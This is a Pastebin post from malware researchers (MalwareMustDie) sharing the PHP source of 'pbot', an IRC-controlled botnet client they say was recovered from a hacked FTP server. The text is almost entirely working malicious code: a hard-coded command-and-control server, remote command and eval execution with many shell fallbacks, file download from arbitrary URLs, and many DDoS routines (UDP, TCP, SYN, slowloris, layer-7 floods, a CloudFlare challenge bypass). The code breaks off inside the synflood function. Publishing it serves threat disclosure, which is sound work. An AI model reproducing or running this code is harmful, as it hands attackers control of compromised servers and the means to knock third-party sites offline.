SHARE
TWEET

Snagged: Pbot Full Weaponized DDoS

MalwareMustDie Jun 1st, 2014 3,644 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # MalwareMustDie | @unixfreaxjp $ date
  2. Wed Jun  3 22:10:04 JST 2014
  3. # Journey to hacked FTP - Case #6, 7:
  4. # PHP IRC Bot: pbot - Full Weaponized L7 DDoS Version
  5. # Code snagged by MMD.
  6. # ---------------------------------------------------
  7.  
  8. <?php
  9. $cfg = array(
  10.     "server" => "93.174.88.124",
  11.     "port" => "6667",
  12.     "key" => "*",
  13.     "prefix" => "Xtreme",
  14.     "maxrand" => "8",
  15.     "chan" => "#lsass",
  16.     "trigger" => ".",
  17.     "hostauth" => "localhost"
  18. );
  19. set_time_limit(0);
  20. error_reporting(0);
  21. $dir   = getcwd();
  22. $uname = @php_uname();
  23. function whereistmP() {
  24.     $uploadtmp = ini_get('upload_tmp_dir');
  25.     $uf        = getenv('USERPROFILE');
  26.     $af        = getenv('ALLUSERSPROFILE');
  27.     $se        = ini_get('session.save_path');
  28.     $envtmp    = (getenv('TMP')) ? getenv('TMP') : getenv('TEMP');
  29.     if(is_dir('/tmp') && is_writable('/tmp'))
  30.  
  31.         return '/tmp';
  32.     if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))
  33.  
  34.         return '/usr/tmp';
  35.     if(is_dir('/var/tmp') && is_writable('/var/tmp'))
  36.  
  37.         return '/var/tmp';
  38.     if(is_dir($uf) && is_writable($uf))
  39.  
  40.         return $uf;
  41.     if(is_dir($af) && is_writable($af))
  42.  
  43.         return $af;
  44.     if(is_dir($se) && is_writable($se))
  45.  
  46.         return $se;
  47.     if(is_dir($uploadtmp) && is_writable($uploadtmp))
  48.  
  49.         return $uploadtmp;
  50.     if(is_dir($envtmp) && is_writable($envtmp))
  51.  
  52.         return $envtmp;
  53.     return '.';
  54. }
  55. function srvshelL($command) {
  56.     $name = whereistmP() . "\\" . uniqid('NJ');
  57.     $n    = uniqid('NJ');
  58.     $cmd  = (empty($_SERVER['ComSpec'])) ? 'd:\\windows\\system32\\cmd.exe' : $_SERVER['ComSpec'];
  59.     win32_create_service(array(
  60.         'service' => $n,
  61.         'display' => $n,
  62.         'path' => $cmd,
  63.         'params' => "/c $command >\"$name\""
  64.     ));
  65.     win32_start_service($n);
  66.     win32_stop_service($n);
  67.     win32_delete_service($n);
  68.     while(!file_exists($name))
  69.         sleep(1);
  70.     $exec = file_get_contents($name);
  71.     unlink($name);
  72.  
  73.     return $exec;
  74. }
  75. function ffishelL($command) {
  76.     $name = whereistmP() . "\\" . uniqid('NJ');
  77.     $api  = new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
  78.     $res  = $api->WinExec("cmd.exe /c $command >\"$name\"", 0);
  79.     while(!file_exists($name))
  80.         sleep(1);
  81.     $exec = file_get_contents($name);
  82.     unlink($name);
  83.  
  84.     return $exec;
  85. }
  86. function comshelL($command, $ws) {
  87.     $exec = $ws->exec("cmd.exe /c $command");
  88.     $so   = $exec->StdOut();
  89.  
  90.     return $so->ReadAll();
  91. }
  92. function perlshelL($command) {
  93.     $perl = new perl();
  94.     ob_start();
  95.     $perl->eval("system(\"$command\")");
  96.     $exec = ob_get_contents();
  97.     ob_end_clean();
  98.  
  99.     return $exec;
  100. }
  101. function Exe($command) {
  102.     $exec  = $output = '';
  103.     $dep[] = array(
  104.         'pipe',
  105.         'r'
  106.     );
  107.     $dep[] = array(
  108.         'pipe',
  109.         'w'
  110.     );
  111.     if (function_exists('passthru')) {
  112.         ob_start();
  113.         @passthru($command);
  114.         $exec = ob_get_contents();
  115.         ob_clean();
  116.         ob_end_clean();
  117.     } elseif (function_exists('system')) {
  118.         $tmp = ob_get_contents();
  119.         ob_clean();
  120.         @system($command);
  121.         $output = ob_get_contents();
  122.         ob_clean();
  123.         $exec = $tmp;
  124.     } elseif (function_exists('exec')) {
  125.         @exec($command, $output);
  126.         $output = join("\n", $output);
  127.         $exec   = $output;
  128.     } elseif(function_exists('shell_exec'))
  129.         $exec = @shell_exec($command);
  130.     elseif (function_exists('popen')) {
  131.         $output = @popen($command, 'r');
  132.         while (!feof($output)) {
  133.             $exec = fgets($output);
  134.         }
  135.         pclose($output);
  136.     } elseif (function_exists('proc_open')) {
  137.         $res = @proc_open($command, $dep, $pipes);
  138.         while (!feof($pipes[1])) {
  139.             $line = fgets($pipes[1]);
  140.             $output .= $line;
  141.         }
  142.         $exec = $output;
  143.         proc_close($res);
  144.     } elseif(function_exists('win_shell_execute') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')
  145.         $exec = winshelL($command);
  146.     elseif(function_exists('win32_create_service') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')
  147.         $exec = srvshelL($command);
  148.     elseif(extension_loaded('ffi') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')
  149.         $exec = ffishelL($command);
  150.     elseif(extension_loaded('perl'))
  151.         $exec = perlshelL($command);
  152.  
  153.     return $exec;
  154. }
  155. class pBot {
  156.     public $config = '';
  157.     public $user_agents = array(
  158.         "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16",
  159.         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.60 Safari/537.17",
  160.         "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
  161.         "Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20120716 Firefox/15.0a2",
  162.         "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20120403211507 Firefox/12.0",
  163.         "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)",
  164.         "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)",
  165.         "Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00"
  166.     );
  167.     public $charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
  168.     public $users = array();
  169.     public function start($cfg) {
  170.         $this->config = $cfg;
  171.         while (true) {
  172.             if(!($this->conn = fsockopen($this->config['server'], $this->config['port'], $e, $s, 30)))
  173.                 $this->start($cfg);
  174.             $ident = $this->config['prefix'];
  175.             $alph  = range("0", "9");
  176.             for($i = 0; $i < $this->config['maxrand']; $i++)
  177.                 $ident .= $alph[rand(0, 9)];
  178.             $this->send("USER " . $ident . " 127.0.0.1 localhost :" . php_uname() . "");
  179.             $this->set_nick();
  180.             $this->main();
  181.         }
  182.     }
  183.     public function main() {
  184.         while (!feof($this->conn)) {
  185.             if (function_exists('stream_select')) {
  186.                 $read    = array(
  187.                     $this->conn
  188.                 );
  189.                 $write   = NULL;
  190.                 $except  = NULL;
  191.                 $changed = stream_select($read, $write, $except, 30);
  192.                 if ($changed == 0) {
  193.                     fwrite($this->conn, "PING :lelcomeatme\r\n");
  194.                     $read    = array(
  195.                         $this->conn
  196.                     );
  197.                     $write   = NULL;
  198.                     $except  = NULL;
  199.                     $changed = stream_select($read, $write, $except, 30);
  200.                     if($changed == 0)
  201.                         break;
  202.                 }
  203.             }
  204.             $this->buf = trim(fgets($this->conn, 512));
  205.             $cmd       = explode(" ", $this->buf);
  206.             if (substr($this->buf, 0, 6) == "PING :") {
  207.                 $this->send("PONG :" . substr($this->buf, 6));
  208.                 continue;
  209.             }
  210.             if (isset($cmd[1]) && $cmd[1] == "001") {
  211.                 $this->join($this->config['chan'], $this->config['key']);
  212.                 continue;
  213.             }
  214.             if (isset($cmd[1]) && $cmd[1] == "433") {
  215.                 $this->set_nick();
  216.                 continue;
  217.             }
  218.             if ($this->buf != $old_buf) {
  219.                 $mcmd   = array();
  220.                 $msg    = substr(strstr($this->buf, " :"), 2);
  221.                 $msgcmd = explode(" ", $msg);
  222.                 $nick   = explode("!", $cmd[0]);
  223.                 $vhost  = explode("@", $nick[1]);
  224.                 $vhost  = $vhost[1];
  225.                 $nick   = substr($nick[0], 1);
  226.                 $host   = $cmd[0];
  227.                 if($msgcmd[0] == $this->nick)
  228.                     for($i = 0; $i < count($msgcmd); $i++)
  229.                         $mcmd[$i] = $msgcmd[$i + 1];
  230.                 else
  231.                     for($i = 0; $i < count($msgcmd); $i++)
  232.                         $mcmd[$i] = $msgcmd[$i];
  233.                 if (count($cmd) > 2) {
  234.                     switch ($cmd[1]) {
  235.                         case "PRIVMSG":
  236.                             if ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*") {
  237.                                 if (substr($mcmd[0], 0, 1) == ".") {
  238.                                     switch (substr($mcmd[0], 1)) {
  239.                                         case "mail":
  240.                                             if (count($mcmd) > 4) {
  241.                                                 $header = "From: <" . $mcmd[2] . ">";
  242.                                                 if (!mail($mcmd[1], $mcmd[3], strstr($msg, $mcmd[4]), $header)) {
  243.                                                     $this->privmsg($this->config['chan'], "[\2mail\2]: failed sending.");
  244.                                                 } else {
  245.                                                     $this->privmsg($this->config['chan'], "[\2mail\2]: sent.");
  246.                                                 }
  247.                                             }
  248.                                             break;
  249.                                         case "dns":
  250.                                             if (isset($mcmd[1])) {
  251.                                                 $ip = explode(".", $mcmd[1]);
  252.                                                 if (count($ip) == 4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3])) {
  253.                                                     $this->privmsg($this->config['chan'], "[\2dns\2]: " . $mcmd[1] . " => " . gethostbyaddr($mcmd[1]));
  254.                                                 } else {
  255.                                                     $this->privmsg($this->config['chan'], "[\2dns\2]: " . $mcmd[1] . " => " . gethostbyname($mcmd[1]));
  256.                                                 }
  257.                                             }
  258.                                             break;
  259.                                         case "uname":
  260.                                             if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
  261.                                                 $safemode = "on";
  262.                                             } else {
  263.                                                 $safemode = "off";
  264.                                             }
  265.                                             $uname = php_uname();
  266.                                             $this->privmsg($this->config['chan'], "[\2info\2]: " . $uname . " (safe: " . $safemode . ")");
  267.                                             break;
  268.                                         case "rndnick":
  269.                                             $this->set_nick();
  270.                                             break;
  271.                                         case "raw":
  272.                                             $this->send(strstr($msg, $mcmd[1]));
  273.                                             break;
  274.                                         case "eval":
  275.                                             ob_start();
  276.                                             eval(strstr($msg, $mcmd[1]));
  277.                                             $exec = ob_get_contents();
  278.                                             ob_end_clean();
  279.                                             $ret = explode("\n", $exec);
  280.                                             for($i = 0; $i < count($ret); $i++)
  281.                                                 if($ret[$i] != NULL)
  282.                                                     $this->privmsg($this->config['chan'], "      : " . trim($ret[$i]));
  283.                                             break;
  284.                                         case "exec":
  285.                                             $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0]) + 1);
  286.                                             $exec    = exec($command);
  287.                                             $ret     = explode("\n", $exec);
  288.                                             for($i = 0; $i < count($ret); $i++)
  289.                                                 if($ret[$i] != NULL)
  290.                                                     $this->privmsg($this->config['chan'], "      : " . trim($ret[$i]));
  291.                                             break;
  292.                                         case "cmd":
  293.                                             $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0]) + 1);
  294.                                             $exec    = Exe($command);
  295.                                             $ret     = explode("\n", $exec);
  296.                                             for($i = 0; $i < count($ret); $i++)
  297.                                                 if($ret[$i] != NULL)
  298.                                                     $this->privmsg($this->config['chan'], "      : " . trim($ret[$i]));
  299.                                             break;
  300.                                         case "ud.server":
  301.                                             if (count($mcmd) > 2) {
  302.                                                 $this->config['server'] = $mcmd[1];
  303.                                                 $this->config['port']   = $mcmd[2];
  304.                                                 if (isset($mcmcd[3])) {
  305.                                                     $this->config['pass'] = $mcmd[3];
  306.                                                     $this->privmsg($this->config['chan'], "[\2update\2]: info updated " . $mcmd[1] . ":" . $mcmd[2] . " pass: " . $mcmd[3]);
  307.                                                 } else {
  308.                                                     $this->privmsg($this->config['chan'], "[\2update\2]: switched server to " . $mcmd[1] . ":" . $mcmd[2]);
  309.                                                 }
  310.                                                 fclose($this->conn);
  311.                                             }
  312.                                             break;
  313.                                         case "download":
  314.                                             if (count($mcmd) > 2) {
  315.                                                 if (!$fp = fopen($mcmd[2], "w")) {
  316.                                                     $this->privmsg($this->config['chan'], "[\2download\2]: could not open output file.");
  317.                                                 } else {
  318.                                                     if (!$get = file($mcmd[1])) {
  319.                                                         $this->privmsg($this->config['chan'], "[\2download\2]: could not download \2" . $mcmd[1] . "\2");
  320.                                                     } else {
  321.                                                         for ($i = 0; $i <= count($get); $i++) {
  322.                                                             fwrite($fp, $get[$i]);
  323.                                                         }
  324.                                                         $this->privmsg($this->config['chan'], "[\2download\2]: file \2" . $mcmd[1] . "\2 downloaded to \2" . $mcmd[2] . "\2");
  325.                                                     }
  326.                                                     fclose($fp);
  327.                                                 }
  328.                                             } else {
  329.                                                 $this->privmsg($this->config['chan'], "[\2download\2]: use .download http://your.host/file /tmp/file");
  330.                                             }
  331.                                             break;
  332.                                         case "udpflood":
  333.                                             if (count($mcmd) > 4) {
  334.                                                 $this->udpflood($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4]);
  335.                                             }
  336.                                             break;
  337.                                         case "tcpconn":
  338.                                             if (count($mcmd) > 5) {
  339.                                                 $this->tcpconn($mcmd[1], $mcmd[2], $mcmd[3]);
  340.                                             }
  341.                                             break;
  342.                                         case "rudy":
  343.                                             if (count($mcmd) > 2) {
  344.                                                 $this->doSlow($mcmd[1], $mcmd[2]);
  345.                                             }
  346.                                             break;
  347.                                         case "slowread":
  348.                                             if (count($mcmd) > 3) {
  349.                                                 $this->slowRead($mcmd[1], $mcmd[2], $mcmd[3]);
  350.                                             }
  351.                                             break;
  352.                                         case "slowloris":
  353.                                             if (count($mcmd) > 2) {
  354.                                                 $this->doSlow($mcmd[1], $mcmd[2]);
  355.                                             }
  356.                                             break;
  357.                                         case "synflood":
  358.                                             if (count($mcmd) > 3) {
  359.                                                 $this->synflood($mcmd[1], $mcmd[2], $mcmd[3]);
  360.                                             }
  361.                                         case "l7":
  362.                                             if (count($mcmd) > 3) {
  363.                                                 if ($mcmd[1] == "get") {
  364.                                                     $this->attack_http("GET", $mcmd[2], $mcmd[3]);
  365.                                                 }
  366.                                                 if ($mcmd[1] == "post") {
  367.                                                     $this->attack_post($mcmd[2], $mcmd[3]);
  368.                                                 }
  369.                                                 if ($mcmd[1] == "head") {
  370.                                                     $this->attack_http("HEAD", $mcmd[2], $mcmd[3]);
  371.                                                 }
  372.                                             }
  373.                                             break;
  374.                                         case "syn":
  375.                                             if (count($mcmd) > 2) {
  376.                                                 $this->syn($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4]);
  377.                                             } else {
  378.                                                 $this->privmsg($this->config['chan'], "syntax: syn host port time [delaySeconds]");
  379.                                             }
  380.                                             break;
  381.                                         case "tcpflood":
  382.                                             if (count($mcmd) > 2) {
  383.                                                 $this->tcpflood($mcmd[1], $mcmd[2], $mcmd[3]);
  384.                                             } else {
  385.                                                 $this->privmsg($this->config['chan'], "syntax: tcpflood host port time");
  386.                                             }
  387.                                             break;
  388.                                         case "httpflood":
  389.                                             if (count($mcmd) > 2) {
  390.                                                 $this->httpflood($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4], $mcmd[5]);
  391.                                             } else {
  392.                                                 $this->privmsg($this->config['chan'], "syntax: httpflood host port time [method] [url]");
  393.                                             }
  394.                                             break;
  395.                                         case "proxyhttpflood":
  396.                                             if (count($mcmd) > 2) {
  397.                                                 $this->proxyhttpflood($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4]);
  398.                                             } else {
  399.                                                 $this->privmsg($this->config['chan'], "syntax: proxyhttpflood targetUrl(with http://) proxyListUrl time [method]");
  400.                                             }
  401.                                             break;
  402.                                         case "cloudflareflood":
  403.                                             print_r($mcmd);
  404.                                             if (count($mcmd) > 2) {
  405.                                                 $this->cloudflareflood($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4], $mcmd[5], $mcmd[6]);
  406.                                             } else {
  407.                                                 $this->privmsg($this->config['chan'], "syntax: cloudflareflood host port time [method] [url] [postFields]");
  408.                                             }
  409.                                             break;
  410.                                     }
  411.                                 }
  412.                             }
  413.                             break;
  414.                     }
  415.                 }
  416.             }
  417.         }
  418.     }
  419.     public function send($msg) {
  420.         fwrite($this->conn, $msg . "\r\n");
  421.     }
  422.     public function join($chan, $key = NULL) {
  423.         $this->send("JOIN " . $chan . " " . $key);
  424.     }
  425.     public function privmsg($to, $msg) {
  426.         $this->send("PRIVMSG " . $to . " :" . $msg);
  427.     }
  428.     public function notice($to, $msg) {
  429.         $this->send("NOTICE " . $to . " :" . $msg);
  430.     }
  431.     public function set_nick() {
  432.         $fp = fsockopen("freegeoip.net", 80, $dummy, $dummy, 30);
  433.         if(!$fp)
  434.             $this->nick = "[UKN]";
  435.         else {
  436.             fclose($fp);
  437.             $ctx = stream_context_create(array(
  438.                 'http' => array(
  439.                     'timeout' => 30
  440.                 )
  441.             ));
  442.             $buf = file_get_contents("http://freegeoip.net/json/", 0, $ctx);
  443.             if(!strstr($buf, "country_code"))
  444.                 $this->nick = "[UKN]";
  445.             else {
  446.                 $code       = strstr($buf, "country_code");
  447.                 $code       = substr($code, 12);
  448.                 $code       = substr($code, 3, 2);
  449.                 $this->nick = "[" . $code . "]";
  450.             }
  451.         }
  452.         if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')
  453.             $this->nick .= "[WIN32]";
  454.         else
  455.             $this->nick .= "[LINUX]";
  456.         if (isset($_SERVER['SERVER_SOFTWARE'])) {
  457.             if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']), "apache"))
  458.                 $this->nick .= "[A]";
  459.             elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']), "iis"))
  460.                 $this->nick .= "[I]";
  461.             elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']), "xitami"))
  462.                 $this->nick .= "[X]";
  463.             elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']), "nginx"))
  464.                 $this->nick .= "[N]";
  465.             else
  466.                 $this->nick .= "[U]";
  467.         } else {
  468.             $this->nick .= "[C]";
  469.         }
  470.         $this->nick .= $this->config['prefix'];
  471.         for($i = 0; $i < $this->config['maxrand']; $i++)
  472.             $this->nick .= mt_rand(0, 9);
  473.         $this->send("NICK " . $this->nick);
  474.     }
  475.     public function cloudflareflood($host, $port, $time, $method="GET", $url="/", $post=array()) {
  476.         $this->privmsg($this->config['chan'], "[\2CloudFlareFlood Started!\2]");
  477.         $timei    = time();
  478.         $user_agent = $this->user_agents[rand(0, count($this->user_agents)-1)];
  479.         $packet = "$method $url HTTP/1.1\r\n";
  480.         $packet .= "Host: $host\r\n";
  481.         $packet .= "Keep-Alive: 300\r\n";
  482.         $packet .= "Connection: keep-alive\r\n";
  483.         $packet .= "User-Agent: $user_agent\r\n";
  484.         //Cloudflare Bypass
  485.         $res =  curl($host, null, $user_agent, true);
  486.         //Cloudflare Bypass
  487.         if (strstr($res, "DDoS protection by CloudFlare")) {
  488.             $this->privmsg($this->config['chan'], "[\2CloudFlare detected!...\2]");
  489.             //Get the math calc
  490.             $math_calc = get_between($res, "a.value = ", ";");
  491.             if ($math_calc) {
  492.                 $math_result = (int) eval("return ($math_calc);");
  493.                 if (is_numeric($math_result)) {
  494.                     $math_result += strlen($host); //Domain lenght
  495.                     //Send the CloudFlare's form
  496.                     $getData = "cdn-cgi/l/chk_jschl";
  497.                     $getData .= "?jschl_vc=".get_between($res, 'name="jschl_vc" value="', '"');
  498.                     $getData .= "&jschl_answer=".$math_result;
  499.                     $res = curl($host.$getData, null, $user_agent);
  500.                     //Cloudflare Bypassed?
  501.                     if (strstr($res, "DDoS protection by CloudFlare")) {
  502.                         $this->privmsg($this->config['chan'], "[\2CloudFlare not bypassed...\2]");
  503.  
  504.                         return false;
  505.                     } else {
  506.                         $bypassed = true;
  507.                         //Cookie read
  508.                         $cookie = trim(get_between(file_get_contents("cookie.txt"), "__cfduid", "\n"));
  509.                         $packet .= "Cookie: __cfduid=".$cookie."\r\n\r\n";
  510.                     }
  511.                 }
  512.             }
  513.         } else {
  514.             $this->privmsg($this->config['chan'], "[\2CloudFlare not detected...\2]");
  515.         }
  516.         if ($bypassed) {
  517.             $this->privmsg($this->config['chan'], "[\2CloudFlare bypassed!\2]");
  518.         }
  519.         $this->privmsg($this->config['chan'], "[\2Flodding...\2]");
  520.         while (time() - $timei < $time) {
  521.             $handle = fsockopen($host, $port, $errno, $errstr, 1);
  522.             fwrite($handle, $packet);
  523.         }
  524.         $this->privmsg($this->config['chan'], "[\2CloudFlareFlood Finished!\2]");
  525.     }
  526.     public function httpflood($host, $port, $time, $method="GET", $url="/") {
  527.         $this->privmsg($this->config['chan'], "[\2HttpFlood Started!\2]");
  528.         $timei    = time();
  529.         $user_agent = $this->user_agents[rand(0, count($this->user_agents)-1)];
  530.         $packet = "$method $url HTTP/1.1\r\n";
  531.         $packet .= "Host: $host\r\n";
  532.         $packet .= "Keep-Alive: 900\r\n";
  533.         $packet .= "Cache-Control: no-cache\r\n";
  534.         $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
  535.         $packet .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
  536.         $packet .= "Accept-Language: en-GB,en-US;q=0.8,en;q=0.6\r\n";
  537.         $packet .= "Accept-charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n";
  538.         $packet .= "Connection: keep-alive\r\n";
  539.         $packet .= "User-Agent: $user_agent\r\n\r\n";
  540.         while (time() - $timei < $time) {
  541.             $handle = fsockopen($host, $port, $errno, $errstr, 1);
  542.             fwrite($handle, $packet);
  543.         }
  544.         $this->privmsg($this->config['chan'], "[\2HttpFlood Finished!\2]");
  545.     }
  546.     public function proxyhttpflood($url, $proxyListUrl, $time, $method="GET") {
  547.         $this->privmsg($this->config['chan'], "[\2ProxyHttpFlood Started!\2]");
  548.         $timei    = time();
  549.         //Grabbing proxy
  550.         $proxyList = curl($proxyListUrl);
  551.         if ($proxyList) {
  552.             $proxies = explode("\n", $proxyList);
  553.             if (count($proxies)) {
  554.                 shuffle($proxies);
  555.                 $proxies[0] = trim($proxies[0]);
  556.                 $proxy = explode(":", $proxies[0]);
  557.                 $proxyIp = $proxy[0];
  558.                 $proxyPort = $proxy[1];
  559.                 if ($proxyPort && $proxyIp) {
  560.                     $user_agent = $this->user_agents[rand(0, count($this->user_agents)-1)];
  561.                     $packet = "$method $url  HTTP/1.1\r\n";
  562.                     $packet .= "Host: $host\r\n";
  563.                     $packet .= "Keep-Alive: 900\r\n";
  564.                     $packet .= "Cache-Control: no-cache\r\n";
  565.                     $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
  566.                     $packet .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
  567.                     $packet .= "Accept-Language: en-GB,en-US;q=0.8,en;q=0.6\r\n";
  568.                     $packet .= "Accept-charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n";
  569.                     $packet .= "Connection: keep-alive\r\n";
  570.                     $packet .= "User-Agent: $user_agent\r\n\r\n";
  571.                     while (time() - $timei < $time) {
  572.                         $handle = fsockopen($proxyIp, $proxyPort, $errno, $errstr, 1);
  573.                         fwrite($handle, $packet);
  574.                     }
  575.                 } else {
  576.                     $this->privmsg($this->config['chan'], "[\2Malformed proxy!\2]");
  577.                 }
  578.             } else {
  579.                 $this->privmsg($this->config['chan'], "[\2No proxies found!\2]");
  580.             }
  581.         } else {
  582.             $this->privmsg($this->config['chan'], "[\2Proxy List not found!\2]");
  583.         }
  584.         $this->privmsg($this->config['chan'], "[\2ProxyHttpFlood Finished (Proxy: ".$proxies[0].")!\2]");
  585.     }
  586.     public function tcpflood($host, $port, $time) {
  587.         $this->privmsg($this->config['chan'], "[\2TCP Started!\2]");
  588.         $timei    = time();
  589.         $packet = "";
  590.         for ($i = 0; $i < 65000; $i++) {
  591.             $packet .= $this->charset[rand(0, strlen($this->charset))];
  592.         }
  593.         while (time() - $timei < $time) {
  594.             $handle = fsockopen("tcp://".$host, $port, $errno, $errstr, 1);
  595.             fwrite($handle, $packet);
  596.         }
  597.         $this->privmsg($this->config['chan'], "[\2TCP Finished!\2]");
  598.     }
  599.     public function slowRead($host, $port, $time) {
  600.         $timei = time();
  601.         $fs    = array();
  602.         //initialize get headers.
  603.         $this->privmsg($this->config['chan'], "[\2Started Slowread!\2]");
  604.         $headers = "GET / HTTP/1.1\r\nHost: {$host}\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36\r\n\r\n";
  605.         while (time() - $timei < $time) {
  606.             for ($i = 0; $i < 100; $i++) {
  607.                 $fs[$i] = @fsockopen($host, $port, $errno, $errstr);
  608.                 fwrite($fs[$i], $headers);
  609.             }
  610.             while (time() - $timei < $time) {
  611.                 for ($i = 0; $i < count($fs); $i++) {
  612.                     if (!$fs[$i]) {
  613.                         $fs[$i] = @fsockopen($host, $port, $errno, $errstr);
  614.                         fwrite($fs[$i], $headers);
  615.                     }
  616.                     fread($fs[$i], 1);
  617.                 }
  618.                 sleep(mt_rand(0.5, 2));
  619.             }
  620.         }
  621.         $this->privmsg($this->config['chan'], "[\2Finished Slowread\2]");
  622.     }
  623.     public function attack_http($mthd, $server, $time) {
  624.         $timei = time();
  625.         $fs    = array();
  626.         $this->privmsg($this->config['chan'], "[\2Layer 7 {$mthd} Attack Started On : $server!\2]");
  627.         $request = "$mthd / HTTP/1.1\r\n";
  628.         $request .= "Host: $server\r\n";
  629.         $request .= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n";
  630.         $request .= "Keep-Alive: 900\r\n";
  631.         $request .= "Accept: *.*\r\n";
  632.         $timei = time();
  633.         for ($i = 0; $i < 100; $i++) {
  634.             $fs[$i] = @fsockopen($server, 80, $errno, $errstr);
  635.         }
  636.         while ((time() - $timei < $time)) {
  637.             for ($i = 0; $i < 100; $i++) {
  638.                 if (@fwrite($fs[$i], $request)) {
  639.                     continue;
  640.                 } else {
  641.                     $fs[$i] = @fsockopen($server, 80, $errno, $errstr);
  642.                 }
  643.             }
  644.         }
  645.         $this->privmsg($this->config['chan'], "[\2Layer 7 {$mthd} Attack Finished!\2]");
  646.     }
  647.     public function attack_post($server, $host, $time) {
  648.         $timei = time();
  649.         $fs    = array();
  650.         $this->privmsg($this->config['chan'], "[\2Layer 7 Post Attack Started On : $server!\2]");
  651.         $request = "POST /" . md5(rand()) . " HTTP/1.1\r\n";
  652.         $request .= "Host: $host\r\n";
  653.         $request .= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n";
  654.         $request .= "Keep-Alive: 900\r\n";
  655.         $request .= "Content-Length: 1000000000\r\n";
  656.         $request .= "Content-Type: application/x-www-form-urlencoded\r\n";
  657.         $request .= "Accept: *.*\r\n";
  658.         for ($i = 0; $i < 100; $i++) {
  659.             $fs[$i] = @fsockopen($host, 80, $errno, $errstr);
  660.         }
  661.         while ((time() - $timei < $time)) {
  662.             for ($i = 0; $i < 100; $i++) {
  663.                 if (@fwrite($fs[$i], $request)) {
  664.                     continue;
  665.                 } else {
  666.                     $fs[$i] = @fsockopen($host, 80, $errno, $errstr);
  667.                 }
  668.             }
  669.         }
  670.         fclose($sockfd);
  671.         $this->privmsg($this->config['chan'], "[\2Layer 7 Post Attack Finished!\2]");
  672.     }
  673.     public function doSlow($host, $time) {
  674.         $this->privmsg($this->config['chan'], "[\2SlowLoris Started!\2]");
  675.         $timei = time();
  676.         $i     = 0;
  677.         for ($i = 0; $i < 100; $i++) {
  678.             $fs[$i] = @fsockopen($host, 80, $errno, $errstr);
  679.         }
  680.         while ((time() - $timei < $time)) {
  681.             for ($i = 0; $i < 100; $i++) {
  682.                 $out = "POST / HTTP/1.1\r\n";
  683.                 $out .= "Host: {$host}\r\n";
  684.                 $out .= "User-Agent: Opera/9.21 (Windows NT 5.1; U; en)\r\n";
  685.                 $out .= "Content-Length: " . rand(1, 1000) . "\r\n";
  686.                 $out .= "X-a: " . rand(1, 10000) . "\r\n";
  687.                 if (@fwrite($fs[$i], $out)) {
  688.                     continue;
  689.                 } else {
  690.                     $fs[$i] = @fsockopen($server, 80, $errno, $errstr);
  691.                 }
  692.             }
  693.         }
  694.         $this->privmsg($this->config['chan'], "[\2SlowLoris Finished!\2]");
  695.     }
  696.     public function syn($host, $port, $time, $delay=1) {
  697.         $this->privmsg($this->config['chan'], "[\2SYN Started!\2]");
  698.         $timei    = time();
  699.         $socks = array();
  700.         while (time() - $timei < $time) {
  701.             $numsocks++;
  702.             $socks[$numsocks] = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  703.             if (!$socks[$numsocks]) continue;
  704.             @socket_set_nonblock($socks[$numsocks]);
  705.             for ($j = 0; $j < 20; $j++)
  706.                 @socket_connect($socks[$numsocks], $host, $port);
  707.             sleep($delay);
  708.         }
  709.         $this->privmsg($this->config['chan'], "[\2SYN Finished (".$numsocks." socks created)!\2]");
  710.     }
  711.     public function synflood($host, $port, $delay) {
  712.         $this->privmsg($this->config['chan'], "[\2synFlood Started!\2]");
  713.         $socks    = array();
  714.         $numsocks = 0;
  715.         $numsocks++;
